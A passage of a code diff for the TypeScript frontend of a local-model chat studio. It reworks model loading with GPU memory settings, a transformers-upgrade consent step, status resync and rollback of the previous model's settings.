           View all projects
         </DropdownMenuItem>
+        </div>
       </DropdownMenuContent>
     </DropdownMenu>
   );
diff --git a/studio/frontend/src/features/chat/external-providers.ts b/studio/frontend/src/features/chat/external-providers.ts
index bc718abbba..eb9e4656b0 100644
--- a/studio/frontend/src/features/chat/external-providers.ts
+++ b/studio/frontend/src/features/chat/external-providers.ts
@@ -184,11 +184,12 @@ export function supportsRemoteModelCatalog(
   );
 }
 
-/** Presets that skip the API-key field (local servers with no auth by default). */
+/** Presets that hide the API-key field. Ollama is not skipped: Ollama cloud
+ * requires a key; local servers leave the optional field empty. */
 export function customPresetSkipsApiKeyField(
   providerType: string | null | undefined,
 ): boolean {
-  return providerType === "ollama" || providerType === "llama_cpp";
+  return providerType === "llama_cpp";
 }
 
 /** Catalog load plus optional manual model IDs. */
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index e23d1b0b33..76a310ac33 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -4,6 +4,10 @@
 import { createElement, useCallback, useRef, useState } from "react";
 import { toast } from "@/lib/toast";
 import { confirmRemoteCodeIfNeeded } from "@/features/security";
+import {
+  confirmTransformersUpgradeIfNeeded,
+  useTransformersUpgradeDialogStore,
+} from "@/features/transformers-upgrade";
 import { consumeNativePathToken } from "@/features/native-intents/api";
 import {
   notifyNative,
@@ -25,12 +29,16 @@ import {
 } from "../api/chat-api";
 import { formatEta, formatRate } from "../utils/format-transfer";
 import {
+  GPU_LAYERS_AUTO,
   isLocalModelPath,
-  pendingSelectionMatches,
+  loadedGpuMemoryFields,
+  persistGpuMemoryModeOnLoad,
   readPersistedSpeculativeType,
+  reconcilePersistedGpuIds,
   resolveToolsEnabledOnLoad,
   saveSpeculativeType,
   useChatRuntimeStore,
+  type LoadingModelPick,
   type ReasoningEffort,
 } from "../stores/chat-runtime-store";
 import { clampReasoningEffortToLevels } from "../provider-capabilities";
@@ -42,13 +50,20 @@ import {
 } from "../lib/apply-inference-status-to-store";
 import {
   mergeBackendRecommendedInference,
+  resolveFitMaxSeqLength,
   resolveLoadMaxSeqLength,
+  resolveManualAutoCtxPin,
 } from "../presets/preset-policy";
+import { recordLastLocalModelLoad } from "../utils/last-local-model-load";
+import { ensureGpuDeviceCache } from "@/hooks/use-gpu-info";
 import {
   isMultimodalResponse,
 } from "../types/api";
 import { isExternalModelId } from "../external-providers";
-import { cancelStagedModelDownload } from "@/features/hub";
+import {
+  applyPerModelConfigToRuntime,
+  type PerModelConfig,
+} from "@/features/model-picker";
 import type {
   ChatLoraSummary,
   ChatModelSummary,
@@ -68,14 +83,16 @@ export type SelectedModelInput = {
   expectedBytes?: number;
   forceReload?: boolean;
   nativePathToken?: string;
+  nativePathExpiresAtMs?: number | null;
   /** Direct local .gguf file (no HF variant / native token) — still a GGUF
    *  source, so the staging flow treats it as one. */
   isGguf?: boolean;
   throwOnError?: boolean;
   /** Keep the current speculative-decoding choice across the model switch
-   *  instead of resetting it to the standing preference. Set by the deferred
-   *  ("Load on selection") Load, where the user picked it for this model. */
+   *  instead of resetting it to the standing preference. */
   keepSpeculative?: boolean;
+  config?: PerModelConfig;
+  previousConfig?: PerModelConfig;
 };
 
 // Approved fingerprints by checkpoint, so a rollback after a failed switch can resend
@@ -94,7 +111,7 @@ const MODEL_LOAD_TOAST_CLASSNAMES = {
   title: "leading-5",
   description: "mt-0 w-full",
   cancelButton:
-    "!h-auto !rounded-none !border-0 !bg-transparent !px-1 !text-[11px] !font-normal !text-muted-foreground hover:!bg-transparent hover:!text-destructive focus-visible:!text-destructive",
+    "!h-auto !rounded-none !border-0 !bg-transparent !px-1 !text-ui-11 !font-normal !text-muted-foreground hover:!bg-transparent hover:!text-destructive focus-visible:!text-destructive",
 } as const;
 
 const MODEL_LOADED_TOAST_CLASSNAMES = {
@@ -244,18 +261,117 @@ function getTrustRemoteCodeRequiredMessage(modelName: string): string {
   return `${modelName} was not loaded because its custom code was not approved. Load it again to review the code and approve it.`;
 }
 
+function getTransformersUpgradeRequiredMessage(modelName: string): string {
+  return `${modelName} was not loaded because it needs a newer transformers release that was not installed. Load it again to install it.`;
+}
+
+/**
+ * Reconcile the chat runtime store against `/api/inference/status`: refresh the
+ * models/loras catalogs and either re-pin the active checkpoint or clear the
+ * loaded-model flags when nothing is loaded. Module-level so it can run outside
+ * a React render (e.g. the imperative resync below); `useChatModelRuntime.refresh`
+ * is a thin wrapper over it. External selections are left untouched since they
+ * have no backend mirror.
+ */
+async function syncInferenceStatusToStore(options?: {
+  signal?: AbortSignal;
+  includeLoras?: boolean;
+}): Promise<void> {
+  const signal = options?.signal;
+  const includeLoras = options?.includeLoras ?? true;
+  const { setModels, setLoras, setCheckpoint, setModelsError } =
+    useChatRuntimeStore.getState();
+  setModelsError(null);
+  try {
+    const [listRes, statusRes, lorasRes] = await Promise.all([
+      listModels(),
+      getInferenceStatus(),
+      includeLoras ? listLoras() : Promise.resolve(null),
+    ]);
+
+    // Cancellation can land while the requests above are in flight. Bail
+    // before writing backend state back -- cancelLoading already cleared it.
+    if (signal?.aborted) return;
+
+    setModels(listRes.models.map(toChatModelSummary));
+    if (lorasRes) {
+      setLoras(lorasRes.loras.map(toLoraSummary));
+    }
+
+    const selectedCheckpoint = useChatRuntimeStore.getState().params.checkpoint;
+    const isExternalSelectionActive = isExternalModelId(selectedCheckpoint);
+    if (statusRes.active_model && !isExternalSelectionActive) {
+      const checkpointId = resolveInferenceCheckpointId(statusRes);
+      if (checkpointId) {
+        const previousGgufVariant =
+          useChatRuntimeStore.getState().activeGgufVariant;
+        setCheckpoint(checkpointId, statusRes.gguf_variant);
+        applyActiveModelStatusToStore(statusRes, {
+          previousCheckpoint: selectedCheckpoint,
+          previousGgufVariant,
+        });
+        // setModels(listRes...) above used catalog data, which omits audio
+        // capability. Re-apply live status so attach gates survive a refresh.
+        syncModelCapabilities(checkpointId, statusRes);
+      }
+    } else if (!statusRes.active_model && !isExternalSelectionActive) {
+      useChatRuntimeStore.setState({
+        modelRequiresTrustRemoteCode: false,
+        loadedIsMultimodal: false,
+        loadedIsDiffusion: false,
+      });
+    }
+  } catch (error) {
+    if (signal?.aborted) return;
+    const message =
+      error instanceof Error ? error.message : "Failed to load models";
+    setModelsError(message);
+    toast.error("Failed to refresh models", {
+      description: message,
+    });
+  }
+}
+
+/**
+ * Reconcile the UI after the SERVER unloaded the active model out from under it
+ * (e.g. a llama.cpp update unloads the running model to swap the binary): the
+ * model selector drops to "select model" instead of pointing at a model that now
+ * 400s on send. Imperative so the global llama-update banner (which has no
+ * chat-runtime handle) can call it.
+ *
+ * Only a LOCAL selection points at the unloaded model. An external-provider
+ * selection has no llama.cpp mirror and still works, so clearing it (which also
+ * wipes its persisted id) would drop a valid, unrelated model; skip the clear so
+ * the refresh below leaves it intact.
+ */
+export async function resyncInferenceStatusAfterServerModelChange(): Promise<void> {
+  if (!isExternalModelId(useChatRuntimeStore.getState().params.checkpoint)) {
+    useChatRuntimeStore.getState().clearCheckpoint();
+  }
+  await syncInferenceStatusToStore();
+}
+
+function pickOf(info: {
+  id: string;
+  ggufVariant?: string | null;
+  nativePathToken?: string | null;
+}): LoadingModelPick {
+  return {
+    id: info.id,
+    ggufVariant: info.ggufVariant ?? null,
+    nativePathToken: info.nativePathToken ?? null,
+  };
+}
+
 export function useChatModelRuntime() {
   const params = useChatRuntimeStore((state) => state.params);
   const models = useChatRuntimeStore((state) => state.models);
   const loras = useChatRuntimeStore((state) => state.loras);
-  const setModels = useChatRuntimeStore((state) => state.setModels);
-  const setLoras = useChatRuntimeStore((state) => state.setLoras);
   const setParams = useChatRuntimeStore((state) => state.setParams);
   const setModelsError = useChatRuntimeStore((state) => state.setModelsError);
   const setLastModelLoadError = useChatRuntimeStore(
     (state) => state.setLastModelLoadError,
   );
-  const setCheckpoint = useChatRuntimeStore((state) => state.setCheckpoint);
   const clearCheckpoint = useChatRuntimeStore((state) => state.clearCheckpoint);
 
   const [loadingModel, setLoadingModel] = useState<{
@@ -285,12 +401,16 @@ export function useChatModelRuntime() {
   }, []);
 
   const resetLoadingUi = useCallback(() => {
+    const inFlight = loadingModelRef.current;
     setLoadingModel(null);
     setLoadProgress(null);
     loadingModelRef.current = null;
     loadAbortRef.current = null;
     loadToastIdRef.current = null;
     setLoadToastDismissedState(false);
+    if (inFlight) {
+      useChatRuntimeStore.getState().clearLoadingModelPick(pickOf(inFlight));
+    }
     if (!cancelUnloadPendingRef.current) {
       useChatRuntimeStore.getState().setModelLoading(false);
     }
@@ -312,53 +432,11 @@ export function useChatModelRuntime() {
     [],
   );
 
-  const refresh = useCallback(async (options?: { signal?: AbortSignal }) => {
-    const signal = options?.signal;
-    setModelsError(null);
-    try {
-      const [listRes, statusRes, lorasRes] = await Promise.all([
-        listModels(),
-        getInferenceStatus(),
-        listLoras(),
-      ]);
-
-      // Cancellation can land while the requests above are in flight. Bail
-      // before writing backend state back -- cancelLoading already cleared it.
-      if (signal?.aborted) return;
-
-      setModels(listRes.models.map(toChatModelSummary));
-      setLoras(lorasRes.loras.map(toLoraSummary));
-
-      const selectedCheckpoint = useChatRuntimeStore.getState().params.checkpoint;
-      const isExternalSelectionActive = isExternalModelId(selectedCheckpoint);
-      if (statusRes.active_model && !isExternalSelectionActive) {
-        const checkpointId = resolveInferenceCheckpointId(statusRes);
-        if (checkpointId) {
-          setCheckpoint(checkpointId, statusRes.gguf_variant);
-          applyActiveModelStatusToStore(statusRes, {
-            previousCheckpoint: selectedCheckpoint,
-          });
-          // setModels(listRes...) above used catalog data, which omits audio
-          // capability. Re-apply live status so attach gates survive a refresh.
-          syncModelCapabilities(checkpointId, statusRes);
-        }
-      } else if (!statusRes.active_model && !isExternalSelectionActive) {
-        useChatRuntimeStore.setState({
-          modelRequiresTrustRemoteCode: false,
-          loadedIsMultimodal: false,
-          loadedIsDiffusion: false,
-        });
-      }
-    } catch (error) {
-      if (signal?.aborted) return;
-      const message =
-        error instanceof Error ? error.message : "Failed to load models";
-      setModelsError(message);
-      toast.error("Failed to refresh models", {
-        description: message,
-      });
-    }
-  }, [setCheckpoint, setLoras, setModels, setModelsError, setParams]);
+  const refresh = useCallback(
+    (options?: { signal?: AbortSignal; includeLoras?: boolean }) =>
+      syncInferenceStatusToStore(options),
+    [],
+  );
 
   const cancelLoading = useCallback(() => {
     const model = loadingModelRef.current;
@@ -366,6 +444,7 @@ export function useChatModelRuntime() {
     loadAbortRef.current?.abort();
     loadAbortRef.current = null;
     loadingModelRef.current = null;
+    useChatRuntimeStore.getState().clearLoadingModelPick(pickOf(model));
     const tid = loadToastIdRef.current;
     loadToastIdRef.current = null;
     setLoadingModel(null);
@@ -402,45 +481,36 @@ export function useChatModelRuntime() {
         typeof selection === "string" ? false : selection.forceReload ?? false;
       const nativePathToken =
         typeof selection === "string" ? undefined : selection.nativePathToken;
+      const nativePathExpiresAtMs =
+        typeof selection === "string"
+          ? null
+          : selection.nativePathExpiresAtMs ?? null;
       const explicitIsGguf =
         typeof selection === "string" ? undefined : selection.isGguf;
       const throwOnError =
         typeof selection === "string" ? false : selection.throwOnError ?? false;
       const keepSpeculative =
         typeof selection === "string" ? false : selection.keepSpeculative ?? false;
-      // Picking/loading any model abandons a staged (deferred) selection.
-      // Before the early-returns below so even a no-op re-select clears the
-      // stage.
-      const staged = useChatRuntimeStore.getState().pendingSelection;
-      if (staged) {
-        // Loading a DIFFERENT model abandons this stage. Loading the staged pick
-        // ITSELF keeps it so the sidebar can show its load settings (context, KV
-        // cache, …) during the load. Cleared on success below; on failure it's
-        // left staged so the user can retry (see onLoadPendingModel's catch).
-        const loadingStagedPick = pendingSelectionMatches(staged, {
-          id: modelId,
-          ggufVariant,
-          nativePathToken,
-        });
-        if (!loadingStagedPick) {
-          cancelStagedModelDownload(staged);
-          useChatRuntimeStore.getState().setPendingSelection(null);
-        }
-      }
       const currentVariant = useChatRuntimeStore.getState().activeGgufVariant;
       if (!forceReload && (!modelId || (params.checkpoint === modelId && (ggufVariant ?? null) === (currentVariant ?? null)))) {
+        if (typeof selection !== "string" && selection.previousConfig) {
+          applyPerModelConfigToRuntime(selection.previousConfig);
+        }
         return;
       }
-      // A load is already in flight. If it's this exact pick (id + GGUF variant +
-      // native path token), ignore the duplicate click. If it's a DIFFERENT model
-      // -- crucially including a different GGUF variant of the same repo, which the
-      // old id+token-only guard wrongly treated as a duplicate and silently
-      // no-op'd -- don't start a second concurrent load (the load path has no clean
-      // supersession) and don't silently swallow the request: surface it so the
-      // user knows to wait for, or cancel, the in-flight load. Centralized here so
-      // every entry point is covered, not just the staged Load button.
-      const inFlightLoad = loadingModelRef.current;
+      // A load is already in flight. If it's this exact pick (id + variant + token),
+      // ignore the duplicate click. If it's a DIFFERENT model (including a different
+      // GGUF variant of the same repo, which the old id+token guard wrongly treated
+      // as a duplicate), don't start a second concurrent load and don't swallow the
+      // request: surface it so the user waits or cancels. Centralized here so every
+      // entry point is covered, not just the staged Load button.
+      const inFlightLoad =
+        loadingModelRef.current ??
+        useChatRuntimeStore.getState().loadingModelPick;
       if (inFlightLoad) {
+        if (typeof selection !== "string" && selection.previousConfig) {
+          applyPerModelConfigToRuntime(selection.previousConfig);
+        }
         const loadingSamePick =
           inFlightLoad.id === modelId &&
           (inFlightLoad.ggufVariant ?? null) === (ggufVariant ?? null) &&
@@ -464,7 +534,15 @@ export function useChatModelRuntime() {
         typeof selection === "string" ? false : selection.isDownloaded ?? false;
       const model = models.find((entry) => entry.id === modelId);
       const lora = loras.find((entry) => entry.id === modelId);
-      const isGguf = explicitIsGguf ?? model?.isGguf ?? false;
+      // A native path-token selection is a local GGUF by construction (the
+      // native model intents only grant .gguf files), but its id is a display
+      // label that need not end in ".gguf" -- without this, Manual + Auto
+      // layers would pin the UI context instead of letting --fit size it.
+      const isGguf =
+        explicitIsGguf ??
+        (ggufVariant != null ||
+          nativePathToken != null ||
+          model?.isGguf === true);
       const loraIsAdapter = lora?.exportType === "lora";
       const isLora =
         explicitIsLora ?? model?.isLora ?? loraIsAdapter ?? false;
@@ -513,6 +591,7 @@ export function useChatModelRuntime() {
       };
       setLoadingModel(loadInfo);
       useChatRuntimeStore.getState().setModelLoading(true);
+      useChatRuntimeStore.getState().setLoadingModelPick(pickOf(loadInfo));
       setLoadProgress(
         isDownloaded || isCachedLora
           ? { percent: null, label: null, phase: "starting" }
@@ -531,31 +610,65 @@ export function useChatModelRuntime() {
           let trustRemoteCode = stateBeforeUnload.params.trustRemoteCode ?? false;
           let approvedRemoteCodeFingerprint: string | null = null;
           const maxSeqLength = stateBeforeUnload.params.maxSeqLength;
+          const previousActiveNativePathToken =
+            stateBeforeUnload.activeNativePathToken;
           const previousIsGguf =
             previousModel?.isGguf === true
             || previousVariant != null
+            || previousActiveNativePathToken != null
             || (previousCheckpoint?.toLowerCase().endsWith(".gguf") ?? false);
-          const rollbackMaxSeqLength = previousIsGguf
-            ? (stateBeforeUnload.ggufContextLength ?? 0)
-            : maxSeqLength;
+          // Roll back to the previous model's own context. previousConfig was
+          // snapshotted before this load pre-applied the next model's config, so
+          // params.maxSeqLength may already be the next model's; use it only when
+          // no snapshot exists.
+          const previousMaxSeqLength =
+            (typeof selection !== "string"
+              ? selection.previousConfig?.maxSeqLength
+              : null) ?? maxSeqLength;
+          // Respect the rolled-back model's auto-layers mode: a Manual+Auto model
+          // with an unpinned context must reload with 0 (so --fit re-auto-sizes),
+          // not the positive context it picked (which the backend treats as a pin).
+          const rollbackMaxSeqLength = resolveFitMaxSeqLength(
+            previousIsGguf,
+            stateBeforeUnload.loadedGpuMemoryMode ?? "auto",
+            stateBeforeUnload.loadedGpuLayers ?? GPU_LAYERS_AUTO,
+            stateBeforeUnload.loadedCustomContextLength,
+            previousIsGguf
+              ? (stateBeforeUnload.ggufContextLength ?? 0)
+              : previousMaxSeqLength,
+          );
           const hfToken = stateBeforeUnload.hfToken || null;
           const previousModelRequiresTrustRemoteCode =
             stateBeforeUnload.modelRequiresTrustRemoteCode;
-          const previousActiveNativePathToken =
-            stateBeforeUnload.activeNativePathToken;
+          const previousActiveNativePathExpiresAtMs =
+            stateBeforeUnload.activeNativePathExpiresAtMs;
           // Snapshot the load settings at click time, before the awaits below
-          // (validation, the trust dialog, unload). For a staged Load these knobs
-          // stay editable and a sheet-close revert (abandonStagedModel) can fire
-          // mid-load; reading them live just before loadModel would let the load
-          // use post-click values. The model-switch speculative reset below
-          // updates this snapshot in lock-step so non-staged loads are unchanged.
+          // (validation, the trust dialog, unload).
           const loadChatTemplateOverride = stateBeforeUnload.chatTemplateOverride;
           const loadKvCacheDtype = stateBeforeUnload.kvCacheDtype;
-          const loadCustomContextLength = stateBeforeUnload.customContextLength;
+          // gpuMemoryMode is a standing preference (kept across a model switch);
+          // the rest are per-model knobs the reset below clears, so they are
+          // re-baselined there in lock-step with the store.
+          let loadCustomContextLength = stateBeforeUnload.customContextLength;
           const loadGgufContextLength = stateBeforeUnload.ggufContextLength;
           const loadTensorParallel = stateBeforeUnload.tensorParallel;
           const loadActivePresetSource = stateBeforeUnload.activePresetSource;
           const loadActiveGgufVariant = stateBeforeUnload.activeGgufVariant;
+          const loadGpuMemoryMode = stateBeforeUnload.gpuMemoryMode;
+          let loadGpuLayers = stateBeforeUnload.gpuLayers;
+          let loadNCpuMoe = stateBeforeUnload.nCpuMoe;
+          let loadSplitRatio = stateBeforeUnload.splitRatio;
+          // Reconcile the persisted pick against the GPUs present now, so a stale
+          // cross-host / now-hidden pick is dropped before /load rather than
+          // rejected there. Warm the device cache first: load-on-selection can
+          // run before any GPU hook mounted, and a cold cache would pass the
+          // pick through unvalidated. validateGpuIds derives from this too.
+          if (stateBeforeUnload.selectedGpuIds != null) {
+            await ensureGpuDeviceCache();
+          }
+          let loadSelectedGpuIds = reconcilePersistedGpuIds(
+            stateBeforeUnload.selectedGpuIds,
+          );
           let loadSpeculativeType = stateBeforeUnload.speculativeType;
           let loadSpecDraftNMax = stateBeforeUnload.specDraftNMax;
           try {
@@ -568,16 +681,44 @@ export function useChatModelRuntime() {
             // context can exceed maxSeqLength, so sizing on raw maxSeqLength could
             // pass, unload, then have /load refuse it. Uses the click-time
             // snapshot (same values loadModel uses below), so the two agree.
-            const validateMaxSeqLength = resolveLoadMaxSeqLength({
-              modelId,
-              ggufVariant,
-              customContextLength: loadCustomContextLength,
-              ggufContextLength: loadGgufContextLength,
-              currentCheckpoint,
-              activeGgufVariant: loadActiveGgufVariant,
-              maxSeqLength,
-              presetSource: loadActivePresetSource,
-            });
+            // Mirror /load on a cross-model switch: the reset below clears the
+            // per-model Auto-layers context pin + GPU pick; gpuMemoryMode is a
+            // standing preference kept across the switch. A same-repo quant switch
+            // (different gguf_variant) is a different model for per-model knobs
+            // (context/gpuLayers/pick/MoE are per variant), so re-baseline them too.
+            const switchingModelOrVariant =
+              currentCheckpoint !== modelId ||
+              (loadActiveGgufVariant ?? null) !== (ggufVariant ?? null);
+            const resetsPerModelSettings = Boolean(
+              currentCheckpoint && switchingModelOrVariant && !keepSpeculative,
+            );
+            const validateCustomContextLength = resetsPerModelSettings
+              ? null
+              : loadCustomContextLength;
+            const validateGpuIds = resetsPerModelSettings
+              ? null
+              : loadSelectedGpuIds;
+            // The reset below re-baselines gpuLayers to Auto; mirror it here.
+            const validateGpuLayers = resetsPerModelSettings
+              ? GPU_LAYERS_AUTO
+              : loadGpuLayers;
+            const validateMaxSeqLength = resolveFitMaxSeqLength(
+              isGguf,
+              loadGpuMemoryMode,
+              validateGpuLayers,
+              validateCustomContextLength,
+              resolveLoadMaxSeqLength({
+                modelId,
+                ggufVariant,
+                isGguf,
+                customContextLength: validateCustomContextLength,
+                ggufContextLength: loadGgufContextLength,
+                currentCheckpoint,
+                activeGgufVariant: loadActiveGgufVariant,
+                maxSeqLength,
+                presetSource: loadActivePresetSource,
+              }),
+            );
             const validation = await validateModel({
               model_path: modelId,
               nativePathLease: validateNativePathLease,
@@ -586,7 +727,33 @@ export function useChatModelRuntime() {
               load_in_4bit: true,
               is_lora: isLora,
               gguf_variant: ggufVariant ?? null,
+              gpu_ids: validateGpuIds ?? undefined,
+              ...(isGguf ? { gpu_memory_mode: loadGpuMemoryMode } : {}),
             });
+            // Upgrade consent runs before the security dialogs; Accept installs and the load continues.
+            if (validation.requires_transformers_upgrade) {
+              const upgraded = await confirmTransformersUpgradeIfNeeded({
+                modelName: modelId,
+                upgrade: validation.transformers_upgrade,
+                // No installable release: custom-code models may fall back to the trust_remote_code gate below.
+                trustRemoteCodeFallback: validation.requires_trust_remote_code,
+              });
+              // The install unloads the previous model before the swap (even when
+              // the swap then fails), so any exit after this point must roll back.
+              // False for the custom-code fallback, which resolves without installing.
+              if (
+                useTransformersUpgradeDialogStore
+                  .getState()
+                  .consumeServerUnloadedChat()
+                && currentCheckpoint
+              ) {
+                previousWasUnloaded = true;
+              }
+              if (!upgraded) {
+                throw new Error(getTransformersUpgradeRequiredMessage(displayName));
+              }
+            }
+            if (abortCtrl.signal.aborted) throw new Error("Cancelled");
             // Open the consent dialog when the model needs custom-code consent or has a
             // flagged unsafe file. Fires even when trustRemoteCode is preset on, since the
             // worker requires a matching fingerprint that only the dialog produces.
@@ -626,18 +793,52 @@ export function useChatModelRuntime() {
             // keepSpeculative skips this for a staged Load: the user picked the
             // mode for this model on the sidebar, so honor it (the backend still
             // falls back at runtime if the model has no MTP head).
-            if (currentCheckpoint && currentCheckpoint !== modelId && !keepSpeculative) {
+            if (resetsPerModelSettings) {
               const persistedSpeculativeType = readPersistedSpeculativeType();
               useChatRuntimeStore.setState({
                 speculativeType: persistedSpeculativeType,
                 loadedSpeculativeType: persistedSpeculativeType,
                 specDraftNMax: null,
                 loadedSpecDraftNMax: null,
+                // Per-model GPU knobs must not follow onto a different model
+                // (gpuMemoryMode is a standing preference and is kept).
+                selectedGpuIds: null,
+                gpuLayers: GPU_LAYERS_AUTO,
+                nCpuMoe: 0,
+                splitRatio: null,
+                // A Manual+Auto context pin is per-model; clear it so a different
+                // model loads at Auto/native, not the previous model's pin.
+                customContextLength: null,
               });
               loadSpeculativeType = persistedSpeculativeType;
               loadSpecDraftNMax = null;
+              // Keep the click-time snapshot in lock-step with the store reset so
+              // the load below sizes against the cleared per-model knobs, not the
+              // previous model's (gpuMemoryMode is standing, so left as captured).
+              loadCustomContextLength = null;
+              loadSelectedGpuIds = null;
+              loadGpuLayers = GPU_LAYERS_AUTO;
+              loadNCpuMoe = 0;
+              loadSplitRatio = null;
             }
 
+            // Pinning layers on the SAME model keeps the currently resolved
+            // context: with no explicit pin, a manual+pinned reload would send 0,
+            // which the backend's --fit off branch treats as the NATIVE context --
+            // far larger than the sheet shows when the load was fit-sized (Default
+            // or Manual + Auto layers may auto-reduce context to fit VRAM), a
+            // likely OOM. ggufContextLength is that resolved value; a model already
+            // at native reloads unchanged, so this is safe for any prior mode.
+            if (
+              isGguf &&
+              !switchingModelOrVariant &&
+              loadGpuMemoryMode === "manual" &&
+              loadGpuLayers >= 0 &&
+              loadCustomContextLength == null &&
+              (loadGgufContextLength ?? 0) > 0
+            ) {
+              loadCustomContextLength = loadGgufContextLength;
+            }
             const effectiveMaxSeqLength = resolveLoadMaxSeqLength({
               modelId,
               ggufVariant,
@@ -649,13 +850,20 @@ export function useChatModelRuntime() {
               maxSeqLength,
               presetSource: loadActivePresetSource,
             });
+            const loadMaxSeqLength = resolveFitMaxSeqLength(
+              isGguf,
+              loadGpuMemoryMode,
+              loadGpuLayers,
+              loadCustomContextLength,
+              effectiveMaxSeqLength,
+            );
             const effectiveChatTemplateOverride =
               loadChatTemplateOverride?.trim() ? loadChatTemplateOverride : null;
             const loadResponse = await loadModel({
               model_path: modelId,
               nativePathLease: loadNativePathLease,
               hf_token: hfToken,
-              max_seq_length: effectiveMaxSeqLength,
+              max_seq_length: loadMaxSeqLength,
               load_in_4bit: true,
               is_lora: isLora,
               gguf_variant: ggufVariant ?? null,
@@ -666,6 +874,11 @@ export function useChatModelRuntime() {
               speculative_type: loadSpeculativeType,
               spec_draft_n_max: loadSpecDraftNMax,
               tensor_parallel: loadTensorParallel,
+              gpu_memory_mode: loadGpuMemoryMode,
+              gpu_layers: loadGpuLayers,
+              n_cpu_moe: loadNCpuMoe,
+              tensor_split: loadSplitRatio ?? undefined,
+              gpu_ids: loadSelectedGpuIds ?? undefined,
             });
 
             // If cancelled while loading, don't update UI to show
@@ -675,7 +888,14 @@ export function useChatModelRuntime() {
             // The load applied this spec mode, so persist the user's standing
             // preference now (the requested intent, not the resolved echo;
             // saveSpeculativeType keeps only the universal auto/ngram/off).
-            saveSpeculativeType(loadSpeculativeType);
+            // Skip for a per-model config (keepSpeculative): that choice is
+            // model-specific and must not overwrite the global default.
+            if (!keepSpeculative) {
+              saveSpeculativeType(loadSpeculativeType);
+            }
+            // Persist the GPU Memory mode only on a successful load (not on
+            // dropdown change), so an abandoned selection doesn't stick.
+            persistGpuMemoryModeOnLoad(loadResponse, loadGpuMemoryMode);
 
             const currentParams = useChatRuntimeStore.getState().params;
             setParams(
@@ -711,9 +931,15 @@ export function useChatModelRuntime() {
             const reportedNativeCtx = loadResponse.is_gguf
               ? (loadResponse.native_context_length ?? null)
               : null;
-            // A successful reload has applied settings, so clear pending custom
-            // context state and display the backend-reported effective context.
-            const keepCustomCtx = null;
+            // Keep an explicit Manual+Auto context pin (so a later Apply doesn't
+            // revert it to Auto) and retain the user's requested context so
+            // re-open/re-save keeps the intended override, not the backend's
+            // auto-fit context; null stays null.
+            const keepCustomCtx = resolveManualAutoCtxPin(
+              loadGpuMemoryMode,
+              loadGpuLayers,
+              loadCustomContextLength,
+            );
             const reasoningAlwaysOn = loadResponse.reasoning_always_on ?? false;
             const reasoningStyle = loadResponse.reasoning_style ?? "enable_thinking";
             const supportsReasoning = loadResponse.supports_reasoning ?? false;
@@ -727,7 +953,8 @@ export function useChatModelRuntime() {
                 : (["low", "medium", "high"] as const);
             const existingReasoningEffort = useChatRuntimeStore.getState().reasoningEffort;
             const clampedReasoningEffort =
-              reasoningStyle === "enable_thinking_effort"
+              reasoningStyle === "enable_thinking_effort" ||
+              reasoningStyle === "reasoning_effort"
                 ? clampReasoningEffortToLevels(
                     existingReasoningEffort,
                     reasoningEffortLevels,
@@ -765,17 +992,22 @@ export function useChatModelRuntime() {
               loadedKvCacheDtype: loadedKv,
               tensorParallel: loadedTp,
               loadedTensorParallel: loadedTp,
+              ...loadedGpuMemoryFields(loadResponse),
               speculativeType: loadedSpec,
               loadedSpeculativeType: loadedSpec,
               specDraftNMax: loadResponse.spec_draft_n_max ?? null,
               loadedSpecDraftNMax: loadResponse.spec_draft_n_max ?? null,
               customContextLength: keepCustomCtx,
+              loadedCustomContextLength: keepCustomCtx,
               defaultChatTemplate: loadResponse.chat_template ?? null,
               chatTemplateOverride: effectiveChatTemplateOverride,
               loadedChatTemplateOverride: effectiveChatTemplateOverride,
               loadedIsMultimodal: isMultimodalResponse(loadResponse),
               loadedIsDiffusion: loadResponse.is_diffusion ?? false,
               activeNativePathToken: nativePathToken ?? null,
+              activeNativePathExpiresAtMs: nativePathToken
+                ? nativePathExpiresAtMs
+                : null,
             });
             // Unlock attach menus for capabilities the catalog entry lacked.
             syncModelCapabilities(modelId, loadResponse);
@@ -812,24 +1044,22 @@ export function useChatModelRuntime() {
               }
             }
             await refresh({ signal: abortCtrl.signal });
-            // A successful load owns the shared (pick-unscoped) settings fields,
-            // so any surviving stage is stale: the just-loaded pick itself, or a
-            // pick queued for a different model mid-load whose knobs this load
-            // overwrote. Drop it. Only a DIFFERENT pick's download needs
-            // cancelling; the loaded pick's is already consumed, and cancelling
-            // it inside its post-complete linger window would flicker its card.
-            const staleStage = useChatRuntimeStore.getState().pendingSelection;
-            if (staleStage) {
-              if (
-                !pendingSelectionMatches(staleStage, {
+            if (
+              !isLora &&
+              !(loadResponse.is_lora ?? false) &&
+              !nativePathToken &&
+              !isLocalModelPath(modelId) &&
+              !isExternalModelId(modelId)
+            ) {
+              if (loadResponse.is_gguf || isGguf || ggufVariant) {
+                recordLastLocalModelLoad({
                   id: modelId,
-                  ggufVariant,
-                  nativePathToken,
-                })
-              ) {
-                cancelStagedModelDownload(staleStage);
+                  kind: "gguf",
+                  ggufVariant: ggufVariant ?? null,
+                });
+              } else {
+                recordLastLocalModelLoad({ id: modelId, kind: "model" });
               }
-              useChatRuntimeStore.getState().setPendingSelection(null);
             }
           } catch (error) {
             // Skip rollback if user cancelled -- model is already being unloaded.
@@ -849,7 +1079,7 @@ export function useChatModelRuntime() {
                 }
               }
               try {
-                await loadModel({
+                const rollbackResponse = await loadModel({
                   model_path: previousCheckpoint,
                   nativePathLease: rollbackNativePathLease,
                   hf_token: hfToken,
@@ -862,14 +1092,51 @@ export function useChatModelRuntime() {
                   // Resend the previous model's pinned approval so restoring it is not re-blocked.
                   approved_remote_code_fingerprint:
                     approvedRemoteCodeFingerprints.get(previousCheckpoint) ?? null,
+                  chat_template_override:
+                    stateBeforeUnload.loadedChatTemplateOverride,
+                  cache_type_kv: stateBeforeUnload.loadedKvCacheDtype,
+                  speculative_type:
+                    stateBeforeUnload.loadedSpeculativeType,
+                  spec_draft_n_max:
+                    stateBeforeUnload.loadedSpecDraftNMax,
                   // Restore the previous model in the split mode it was running,
                   // not the default layer split.
                   tensor_parallel: stateBeforeUnload.loadedTensorParallel ?? false,
+                  // Restore the previous model's GPU Memory placement, not backend defaults.
+                  gpu_memory_mode: stateBeforeUnload.loadedGpuMemoryMode ?? "auto",
